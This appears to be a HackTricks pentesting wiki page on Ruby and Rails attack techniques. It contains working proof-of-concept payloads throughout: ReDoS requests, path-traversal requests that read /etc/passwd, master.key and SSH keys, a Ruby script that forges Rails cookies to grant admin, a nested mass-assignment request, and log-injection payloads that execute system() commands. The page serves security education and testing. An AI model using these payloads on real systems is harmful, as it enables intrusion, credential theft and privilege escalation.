ruby-tricks.md (22307B)
1 --- 2 title: "Ruby Tricks" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/ruby-tricks.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/ruby-tricks.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Ruby Tricks 14 15 ## File upload to RCE 16 17 As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.<sup>[[14]](#references)</sup> 18 19 Tips: 20 21 - Other boot/eager-load locations executed at application start are also risky when writable (`config/initializers/` is the classic example). If an arbitrary file upload lands under `config/` and is later evaluated or required, it may produce RCE at boot. 22 - Look for dev/staging builds that copy user-controlled files into the container image where Rails will load them on boot. 23 24 ## Active Storage image transformation → command execution (CVE-2025-24293) 25 26 When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.<sup>[[1]](#references)</sup> 27 28 - A vulnerable pattern looks like: 29 ```erb 30 <%= image_tag blob.variant(params[:t] => params[:v]) %> 31 ``` 32 where `params[:t]` and/or `params[:v]` are attacker-controlled. 33 34 - What to try during testing 35 - Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments. 36 - Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host. 37 - If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations. 38 39 - Remediation/detections 40 - If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy. 41 42 ## Rack::Static LFI / path traversal (CVE-2025-27610) 43 44 If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.<sup>[[5]](#references)</sup> 45 46 - Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example: 47 ```text 48 GET /assets/%2e%2e/%2e%2e/config/database.yml 49 GET /favicon.ico/..%2f..%2f.env 50 ``` 51 Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`. 52 53 - Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set. 54 55 ## Rack `Content-Type` parsing ReDoS (CVE-2024-25126) 56 57 Rack versions before `3.0.9.1` and `2.2.8.1` spent quadratic time splitting crafted `Content-Type` headers. A header containing tens of thousands of leading spaces can occupy a Puma/Unicorn worker and cause denial of service or request-queue starvation.<sup>[[10]](#references)</sup> 58 59 - Quick PoC (will hang one worker): 60 ```bash 61 python - <<'PY' 62 import requests 63 h = {'Content-Type': (' ' * 50_000) + 'a,'} 64 requests.post('http://target/', data='x', headers=h) 65 PY 66 ``` 67 - The vulnerable parser can be reached through many Rack-based stacks, including Rails, Sinatra, Hanami, and Grape, subject to proxy/header-size limits in frontends such as nginx or HAProxy. Use a controlled environment or a single low-impact request during authorized testing. 68 - The fix makes parsing linear. Look for `rack` versions below `3.0.9.1` or `2.2.8.1`; do not assume a WAF blocks the syntactically valid header. 69 70 ## REXML XML parser ReDoS (CVE-2024-49761) 71 72 The REXML gem < 3.3.9 (Ruby 3.1 and earlier) catastrophically backtracks when parsing hex numeric character references containing long digit runs (e.g., `�x41;`). Any XML processed by REXML or libraries that wrap it (SOAP/XML API clients, SAML, SVG uploads) can be abused for CPU exhaustion.<sup>[[15]](#references)</sup> 73 74 Minimal trigger against a Rails endpoint that parses XML: 75 ```bash 76 curl -X POST http://target/xml -H 'Content-Type: application/xml' \ 77 --data '<?xml version="1.0"?><r>�x41;</r>' 78 ``` 79 If the process stays busy for seconds and worker CPU spikes, it is likely vulnerable. Attack is low bandwidth and affects background jobs that ingest XML as well. 80 81 ## CGI cookie parsing / escapeElement ReDoS (CVE-2025-27219 & CVE-2025-27220) 82 83 Apps using the `cgi` gem (default in many Rack stacks) can be frozen with a single malicious header:<sup>[[11]](#references)</sup> 84 - `CGI::Cookie.parse` was super-linear; huge cookie strings (thousands of delimiters) trigger O(N²) behavior. 85 - `CGI::Util#escapeElement` regex allowed ReDoS on HTML escaping. 86 87 Both issues are fixed in `cgi` 0.3.5.1 / 0.3.7 / 0.4.2. For pentests, drop a massive `Cookie:` header or feed untrusted HTML to helper code and watch for worker lockup. Combine with keep-alive to amplify. 88 89 ## Basecamp `google_sign_in` open redirect chain (CVE-2025-57821) 90 91 The `google_sign_in` gem before 1.3.0 performed an incomplete same-origin check on its persisted post-authentication redirect URL. A malformed URL could pass that check and redirect the user to another origin, potentially exposing authentication information such as a token.<sup>[[16]](#references)</sup> 92 93 Exploit flow: 94 95 1. First obtain a separate primitive that can inject arbitrary data into the application's cookie-backed session. The maintainer advisory states there is no known vector when session state is stored in a database. 96 2. Inject the malformed redirect value into the session/flash state used by `google_sign_in`. 97 3. After authentication, the gem follows the attacker-controlled cross-origin redirect. If authentication information is incorporated into that flow, it may be exposed and lead to account compromise.<sup>[[16]](#references)</sup> 98 99 During testing, inspect `Gemfile.lock` for `google_sign_in` before 1.3.0 and determine how the application stores session/flash data. Confirm the chained behavior through the `Location` header; do not assume a directly supplied query parameter alone reaches the persisted redirect. 100 101 102 ## Rails nested mass assignment via `permit!` on a sub-object 103 104 A common Rails footgun is calling `update()` on a nested parameter object after `permit!`, for example: 105 106 ```ruby 107 def updated_ajax 108 @user.update(params.require(:password).permit!) 109 end 110 ``` 111 112 If the route is supposed to only accept `password[password]` and `password[password_confirmation]`, an attacker can often add privileged attributes under the **same prefix**: 113 114 ```http 115 POST /admin/users/5/updated_ajax HTTP/1.1 116 Content-Type: application/x-www-form-urlencoded 117 118 _method=patch&password[password]=NewPass123!&password[password_confirmation]=NewPass123!&password[role]=admin 119 ``` 120 121 Because `permit!` marks every nested key as permitted, `update()` applies all attacker-controlled fields (`role`, `is_admin`, `status`, `user_group_id`, `owner_id`, etc.). During testing: 122 123 - Find self-service update endpoints that accept nested params such as `user[...]`, `profile[...]`, `password[...]`, `account[...]`. 124 - Check whether the controller passes that entire object into `update`, `update_attributes`, or similar. 125 - Replay the legitimate request and append privileged attributes under the same nested key. 126 127 This is still **mass assignment**, but in Rails apps it often hides in “safe-looking” strong-parameter code because the dangerous call is `permit!` on a nested object rather than direct `params[:user]` binding.<sup>[[2]](#references)[[3]](#references)</sup> 128 129 ## Camaleon CMS admin panel → MinIO / S3 pivot 130 131 If Rails/CMS admin access exposes **filesystem/storage settings**, treat it as a credential-recovery surface.<sup>[[2]](#references)</sup> In Camaleon deployments using S3-compatible storage, the admin UI may reveal: 132 133 - endpoint URL 134 - access key / secret key 135 - region 136 - bucket names 137 138 With those values, enumerate the object store directly: 139 140 ```bash 141 aws configure --profile target 142 aws configure set endpoint_url http://target:54321 --profile target 143 AWS_PROFILE=target aws s3 ls 144 AWS_PROFILE=target aws s3 ls s3://internal/ 145 ``` 146 147 S3-compatible backends such as **MinIO** are easy to fingerprint from XML error responses and `x-amz-*` / `Server: MinIO` headers. Once valid credentials are recovered, check buckets for dotfiles, SSH keys, app source, backups, and deployment secrets. 148 149 ## Camaleon private-media download path traversal on S3/AWS backends 150 151 Camaleon's private-media download flow has had traversal issues where the controller prepends a fixed prefix and forwards attacker-controlled input to the uploader backend:<sup>[[2]](#references)[[4]](#references)</sup> 152 153 ```ruby 154 file = cama_uploader.fetch_file("private/#{params[:file]}") 155 send_file file, disposition: 'inline' 156 ``` 157 158 If the configured uploader backend does **not** canonicalize and validate the resulting path, any authenticated user may read arbitrary files with traversal sequences: 159 160 ```bash 161 curl -s 'http://target/admin/media/download_private_file?file=../../../etc/passwd' -b cookie.jar 162 curl -s 'http://target/admin/media/download_private_file?file=../../../config/master.key' -b cookie.jar 163 curl -s 'http://target/admin/media/download_private_file?file=../../../home/app/.ssh/id_ed25519' -b cookie.jar 164 ``` 165 166 Interesting Rails targets after confirming file read: 167 168 - `config/master.key` 169 - `config/credentials.yml.enc` 170 - `config/database.yml` 171 - `config/storage.yml` 172 - service files / nginx configs that reveal the runtime user and working directory 173 - SSH material readable by the Rails process user 174 175 For Camaleon specifically, this bug resurfaced on the AWS/S3 uploader as an **incomplete fix bypass**: the local uploader added path validation, but the S3 uploader did not. When reviewing similar fixes, always compare **every storage backend** instead of only the default/local implementation. 176 177 ## Forging/decrypting Rails cookies when `secret_key_base` is leaked 178 179 Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies. 180 181 If you only have an authenticated file-read primitive, try to recover `config/master.key` first and then decrypt `config/credentials.yml.enc` to extract `secret_key_base`. In many apps this is the shortest path from LFI/path traversal to cookie decryption and session forgery.<sup>[[2]](#references)</sup> 182 183 Minimal Ruby to decrypt and re-encrypt modern cookies (AES-256-GCM, default in recent Rails): 184 185 <details> 186 <summary>Ruby to decrypt/forge cookies</summary> 187 188 ```ruby 189 require 'cgi' 190 require 'json' 191 require 'active_support' 192 require 'active_support/message_encryptor' 193 require 'active_support/key_generator' 194 195 secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED') 196 raw_cookie = CGI.unescape(ARGV[0]) 197 198 salt = 'authenticated encrypted cookie' 199 cipher = 'aes-256-gcm' 200 key_len = ActiveSupport::MessageEncryptor.key_len(cipher) 201 secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len) 202 enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON) 203 204 plain = enc.decrypt_and_verify(raw_cookie) 205 puts "Decrypted: #{plain.inspect}" 206 207 # Modify and re-encrypt (example: escalate role) 208 plain['role'] = 'admin' if plain.is_a?(Hash) 209 forged = enc.encrypt_and_sign(plain) 210 puts "Forged cookie: #{CGI.escape(forged)}" 211 ``` 212 213 </details> 214 Notes: 215 - Older apps may use AES-256-CBC and salts `encrypted cookie` / `signed encrypted cookie`, or JSON/Marshal serializers. Adjust salts, cipher, and serializer accordingly. 216 - On compromise/assessment, rotate `secret_key_base` to invalidate all existing cookies. 217 218 ## Forging Rails signed IDs / SGIDs when `secret_key_base` is leaked 219 220 Beyond cookies, Rails also uses `ActiveSupport::MessageVerifier` for attacker-relevant tokens such as `record.signed_id`, `ActiveStorage::Blob#signed_id`, and Signed Global IDs (`to_sgid`). If `secret_key_base` leaks, every endpoint that later calls `find_signed`, `find_signed!`, `GlobalID::Locator.locate_signed`, or `ActiveStorage::Blob.find_signed!` becomes interesting. Most real-world impact starts as an IDOR/authz bug (swapping the referenced object), and only becomes RCE if the located object is later passed into an unsafe sink. 221 222 What to hunt for: 223 - Params or hidden fields named `signed_id`, `sgid`, `attachable_sgid`, `blob_signed_id`, `signed_blob_id`, `record_gid`, etc. 224 - Direct-upload and Action Text/Trix flows where the browser submits blob references before the final form submission. 225 - Source patterns such as: 226 ```bash 227 rg -n "find_signed!?\(|locate_signed\(|signed_id\(|to_sgid\(|purpose:|for:" app config lib 228 ``` 229 - Exact verifier scopes/purposes like: 230 ```ruby 231 User.find_signed(token, purpose: :password_reset) 232 ActiveStorage::Blob.find_signed!(token, purpose: :blob_id) 233 GlobalID::Locator.locate_signed(token, for: 'sharing') 234 ``` 235 236 Useful notes during exploitation: 237 - `ActiveRecord::SignedId` **does not expire by default**. Signed Global IDs in Rails **expire after 1 month by default** unless the app overrides `Rails.application.config.global_id.expires_in`.<sup>[[13]](#references)</sup> 238 - The `purpose` / `for:` scope must match. A leaked `secret_key_base` is not enough if you guess the wrong verifier context. 239 - `MessageVerifier` supports rotated old secrets/digests/serializers. If the app still accepts fallbacks via `rotate(...)`, an **older** leaked secret may remain valid for minting tokens. 240 - Common offensive targets are password-reset tokens, invitation flows, permanent attachment/blob references, and any hidden field that resolves a server-side object without re-checking authorization. 241 242 Quick Rails-console examples when you have app code or a foothold: 243 ```ruby 244 user.signed_id(purpose: :password_reset, expires_in: 15.minutes) 245 blob.signed_id(purpose: :blob_id) 246 doc.to_sgid(for: 'sharing', expires_in: 2.hours).to_s 247 ``` 248 249 ## See also (Ruby/Rails-specific vulns) 250 251 - Ruby deserialization and class pollution: 252 [Readme](/hacktricks/pentesting-web/deserialization/overview) 253 [Ruby Class Pollution](/hacktricks/pentesting-web/deserialization/ruby-class-pollution) 254 [Ruby Json Pollution](/hacktricks/pentesting-web/deserialization/ruby-json-pollution) 255 - Template injection in Ruby engines (ERB/Haml/Slim, etc.): 256 [Readme](/hacktricks/pentesting-web/ssti-server-side-template-injection/overview) 257 258 259 ## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling 260 261 When an app (often a simple Rack/Sinatra/Rails endpoint) both: 262 - logs a user-controlled string verbatim, and 263 - later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`), 264 265 You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:<sup>[[6]](#references)</sup> 266 267 - Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.<sup>[[9]](#references)</sup> 268 - `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).<sup>[[7]](#references)</sup> 269 270 ### Real-world poison source: `Rack::CommonLogger` (CVE-2025-25184) 271 272 Before `rack` 2.2.11 / 3.0.12 / 3.1.10, `Rack::CommonLogger` could write attacker-controlled newlines from `env['REMOTE_USER']` into the access log.<sup>[[12]](#references)</sup> In practice this matters when the target uses `Rack::Auth::Basic` or otherwise copies a user-controlled identifier into `REMOTE_USER`, and usernames are allowed to contain CR/LF or other log-breaking bytes. 273 274 This is usually *just* log poisoning, but it becomes much more interesting when chained with the `load`-the-log pattern below, log processors that parse/execute content, or admin workflows that inspect logs in vulnerable terminals. 275 276 Quick checks: 277 - Register or authenticate with a username containing `\r\nFAKELOG` and hit an endpoint that is known to be logged by Rack middleware. 278 - Review access logs (or visible downstream effects) for split lines, forged entries, or parser crashes. 279 - If you already found a later sink such as `load ../logs/error.log`, `eval File.read(...)`, or a custom job that replays log content, `CommonLogger` gives you a realistic way to plant the payload. 280 281 ### Minimal vulnerable pattern 282 283 ```ruby 284 require 'logger' 285 require 'pathname' 286 287 logger = Logger.new('logs/error.log') 288 param = CGI.unescape(params[:script]) 289 path_obj = Pathname.new(param) 290 291 logger.info("Running backup script #{param}") # Raw log of user input 292 load "scripts/#{path_obj.cleanpath}" # Executes file after cleanpath 293 ``` 294 295 ### Why the log can contain valid Ruby 296 `Logger` writes prefix lines like:<sup>[[8]](#references)</sup> 297 ```text 298 I, [9/2/2025 #209384] INFO -- : Running backup script <USER_INPUT> 299 ``` 300 In Ruby, `#` starts a comment and `9/2/2025` is just arithmetic. To inject valid Ruby code you need to: 301 - Begin your payload on a new line so it is not commented out by the `#` in the INFO line; send a leading newline (`\n` or `%0A`). 302 - Close the dangling `[` introduced by the INFO line. A common trick is to start with `]` and optionally make the parser happy with `][0]=1`. 303 - Then place arbitrary Ruby (e.g., `system(...)`). 304 305 Example of what will end up in the log after one request with a crafted param: 306 ```text 307 I, [9/2/2025 #209384] INFO -- : Running backup script 308 ][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log 309 ``` 310 311 ### Smuggling a single string that both logs code and resolves to the log path 312 We want one attacker-controlled string that: 313 - when logged raw, contains our Ruby payload, and 314 - when passed through `Pathname.new(<input>).cleanpath`, resolves to `../logs/error.log` so the subsequent `load` executes the just-poisoned log file. 315 316 `Pathname#cleanpath` ignores schemes and collapses traversal components, so the following works: 317 ```ruby 318 require 'pathname' 319 320 p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log") 321 puts p.cleanpath # => ../logs/error.log 322 ``` 323 - The `#` before `://` ensures Ruby ignores the tail when the log is executed, while `cleanpath` still reduces the suffix to `../logs/error.log`. 324 - The leading newline breaks out of the INFO line; `]` closes the dangling bracket; `][0]=1` satisfies the parser. 325 326 ### End-to-end exploitation 327 1. Send the following as the backup script name (URL-encode the first newline as `%0A` if needed): 328 ``` 329 \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log 330 ``` 331 2. The app logs your raw string into `logs/error.log`. 332 3. The app computes `cleanpath` which resolves to `../logs/error.log` and calls `load` on it. 333 4. Ruby executes the code you injected in the log. 334 335 To exfiltrate a file in a CTF-like environment: 336 ```text 337 \n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log 338 ``` 339 URL-encoded PoC (first char is a newline): 340 ```text 341 %0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log 342 ``` 343 344 ## References 345 346 - [1] [Rails Security Announcement: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1)](https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670) 347 - [2] [0xdf – HTB: Facts](https://0xdf.gitlab.io/2026/06/06/htb-facts.html) 348 - [3] [GitLab Advisory Database – CVE-2025-2304 Camaleon CMS mass assignment](https://advisories.gitlab.com/pkg/gem/camaleon_cms/CVE-2025-2304/) 349 - [4] [NVD – CVE-2026-1776 Camaleon CMS AWS uploader path traversal](https://nvd.nist.gov/vuln/detail/CVE-2026-1776) 350 - [5] [GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610)](https://github.com/advisories/GHSA-7wqh-767x-r66v) 351 - [6] [Hardware Monitor Dojo-CTF #44: Log Injection to Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44) 352 - [7] [Ruby Pathname.cleanpath docs](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath) 353 - [8] [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html) 354 - [9] [How Ruby load works](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html) 355 - [10] [Rack security advisory: ReDoS in content-type parsing (CVE-2024-25126)](https://github.com/rack/rack/security/advisories/GHSA-22f2-v57c-j9cx) 356 - [11] [Ruby security advisories for CGI / URI (CVE-2025-27219/27220/27221)](https://www.ruby-lang.org/en/news/2025/02/26/security-advisories/) 357 - [12] [GitHub Advisory: Possible Log Injection in Rack::CommonLogger (CVE-2025-25184)](https://github.com/advisories/GHSA-7g2v-jj9q-g3rg) 358 - [13] [Rails GlobalID README (Signed Global IDs, purpose, expiry)](https://github.com/rails/globalid) 359 - [14] [OffSec Blog: CVE-2024-46986 – Arbitrary File Write in Camaleon CMS Leading to RCE](https://www.offsec.com/blog/cve-2024-46986/) 360 - [15] [Ruby Lang – ReDoS in REXML (CVE-2024-49761)](https://www.ruby-lang.org/en/news/2024/10/28/redos-rexml-cve-2024-49761) 361 - [16] [GitHub Security Advisory – Basecamp google_sign_in Open Redirect (CVE-2025-57821)](https://github.com/basecamp/google_sign_in/security/advisories/GHSA-7pwc-wh6m-44q3)